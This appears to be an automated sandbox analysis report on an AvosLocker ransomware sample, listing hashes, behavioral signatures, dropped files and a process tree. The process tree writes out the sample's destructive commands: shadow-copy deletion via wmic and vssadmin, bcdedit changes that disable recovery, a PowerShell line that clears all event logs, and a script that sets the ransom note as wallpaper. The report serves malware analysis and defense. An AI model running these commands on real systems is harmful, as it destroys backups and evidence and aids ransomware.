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Analysis

  • max time kernel
    121s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    25/12/2024, 02:02

General

  • Target

    test.exe

  • Size

    1.1MB

  • MD5

    bc78307b49282fd1039a09c88f5e57d9

  • SHA1

    56ca25bc143ec38871fa5e96561437755a9d0de9

  • SHA256

    06918af465e607aa81a46042c24e6a8c45d7c983f33ee621caad6b25464dd27a

  • SHA512

    af4d43f05b3583d07fb96e0815bcc5624e7e3eb110981a21ff82ec07829bcdfd3d23c7de1b673a41bfb41ac20614f27a28389aed80f75a4399c52b351ba5b5f5

  • SSDEEP

    24576:u4s+oT+NXBLi0rjFXvyHBlbmCZa8Ch1972J1+i3DO2gik:uioT+NXVFjxvMBlbmya8CF4TO2K

Malware Config

Signatures

  • Avoslocker Ransomware

    Avoslocker is a relatively new ransomware, that was observed in late June and early July, 2021.

  • Avoslocker family
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
  • Renames multiple (10424) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

  • Drops desktop.ini file(s) 1 IoCs
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Interacts with shadow copies 3 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 45 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\test.exe
    "C:\Users\Admin\AppData\Local\Temp\test.exe"
    1⤵
    • Drops desktop.ini file(s)
    • Enumerates connected drives
    • Drops file in Program Files directory
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1916
    • C:\Windows\system32\cmd.exe
      cmd /c wmic shadowcopy delete /nointeractive
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2132
      • C:\Windows\System32\Wbem\WMIC.exe
        wmic shadowcopy delete /nointeractive
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:3524
    • C:\Windows\system32\cmd.exe
      cmd /c vssadmin.exe Delete Shadows /All /Quiet
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2124
      • C:\Windows\system32\vssadmin.exe
        vssadmin.exe Delete Shadows /All /Quiet
        3⤵
        • Interacts with shadow copies
        PID:3736
    • C:\Windows\system32\cmd.exe
      cmd /c bcdedit /set {default} recoveryenabled No
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2628
      • C:\Windows\system32\bcdedit.exe
        bcdedit /set {default} recoveryenabled No
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:3800
    • C:\Windows\system32\cmd.exe
      cmd /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2828
      • C:\Windows\system32\bcdedit.exe
        bcdedit /set {default} bootstatuspolicy ignoreallfailures
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:3792
    • C:\Windows\system32\cmd.exe
      cmd /c powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2516
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3392
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "$a = [System.IO.File]::ReadAllText(\"C:\GET_YOUR_FILES_BACK.txt\");Add-Type -AssemblyName System.Drawing;$filename = \"$env:temp\$(Get-Random).png\";$bmp = new-object System.Drawing.Bitmap 1920,1080;$font = new-object System.Drawing.Font Consolas,10;$brushBg = [System.Drawing.Brushes]::Black;$brushFg = [System.Drawing.Brushes]::White;$format = [System.Drawing.StringFormat]::GenericDefault;$format.Alignment = [System.Drawing.StringAlignment]::Center;$format.LineAlignment = [System.Drawing.StringAlignment]::Center;$graphics = [System.Drawing.Graphics]::FromImage($bmp);$graphics.FillRectangle($brushBg,0,0,$bmp.Width,$bmp.Height);$graphics.DrawString($a,$font,$brushFg,[System.Drawing.RectangleF]::FromLTRB(0, 0, 1920, 1080),$format);$graphics.Dispose();$bmp.Save($filename);reg add \"HKEY_CURRENT_USER\Control Panel\Desktop\" /v Wallpaper /t REG_SZ /d $filename /f;Start-Sleep 1;rundll32.exe user32.dll, UpdatePerUserSystemParameters, 0, $false;"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1240
      • C:\Windows\system32\reg.exe
        "C:\Windows\system32\reg.exe" add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\1638129618.png /f
        3⤵
        • Sets desktop wallpaper using registry
        PID:1820
      • C:\Windows\system32\rundll32.exe
        "C:\Windows\system32\rundll32.exe" user32.dll UpdatePerUserSystemParameters 0 False
        3⤵
          PID:3308
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:3368

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\GET_YOUR_FILES_BACK.txt

      Filesize

      1011B

      MD5

      c92c2b70fb37f84aab38412ad9226aa8

      SHA1

      14f2e9a83285612d0a7b2c83b8f89bccfde6c154

      SHA256

      d64639e873c0873b469cd856d1ef4bce7dc14a80fac6fe2bed9d629f05acc77f

      SHA512

      04f9dcb3cd49909712535255b6eadd7fafcb2902bf1abd5a25e9bb5f5c4dc032611aec0a5b0ec89cd7dbc65276b935c54b906b391507d2e3e3aa65466b15f848

    • C:\Users\Admin\AppData\Local\Temp\1638129618.png

      Filesize

      32KB

      MD5

      1102d805d581b2642cec9945747c8968

      SHA1

      272aa475615770fe25968fc1787353ca08c89953

      SHA256

      59fde654769fa30863cfb5ae13b21c5adb797f59d810471ea47cf46c2f0dacc0

      SHA512

      aa3b456f24f541a9408653984d8916ba7e6eb7c18f3e0a054f01836c4ec0bfd3c186e7369a077adef7ee73b5452b3ad87b8a3b338aebe5482171e5fdbf1b54c0

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

      Filesize

      7KB

      MD5

      4675ae8a2efa6580ccba58146a123222

      SHA1

      d911de54753a24903ac497fa0e2666564707c6c2

      SHA256

      78ac97fe1f5308e841ffae6369fbeff6c3560fb9246a7d00ecb3e94879da0a7d

      SHA512

      f0fba8c628567ddd9c7683c06939d15531a772db51a5ac0584ab3d5fdf910c27a6f99320f5cf2cf7844d56da72dfe8c0bf0fa5fc5fed451f189fefdfb906b3d0

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\R35F5XS3MA55EO9W72NE.temp

      Filesize

      7KB

      MD5

      76749c8b341b10562c938a226b3ff25f

      SHA1

      8db1fc670821165e1f32e801eb7767c5bb18513a

      SHA256

      5626950a97b8b88e55c065bb66032ce2e0b906f9da5e05c81e2bc5fb6639875d

      SHA512

      25f89d72ce35f87a1994c635db50611a435371c79166db8cbbaa8dbafe07c94a3ba8d8f34aa728424a19553ab887c3a33fd2720f65b90ec3054effaa52348cf1

    • memory/1240-24595-0x000000001B660000-0x000000001B942000-memory.dmp

      Filesize

      2.9MB

    • memory/1240-24596-0x0000000001E10000-0x0000000001E18000-memory.dmp

      Filesize

      32KB

    • memory/3392-1370-0x000000001B5B0000-0x000000001B892000-memory.dmp

      Filesize

      2.9MB

    • memory/3392-1372-0x0000000001E80000-0x0000000001E88000-memory.dmp

      Filesize

      32KB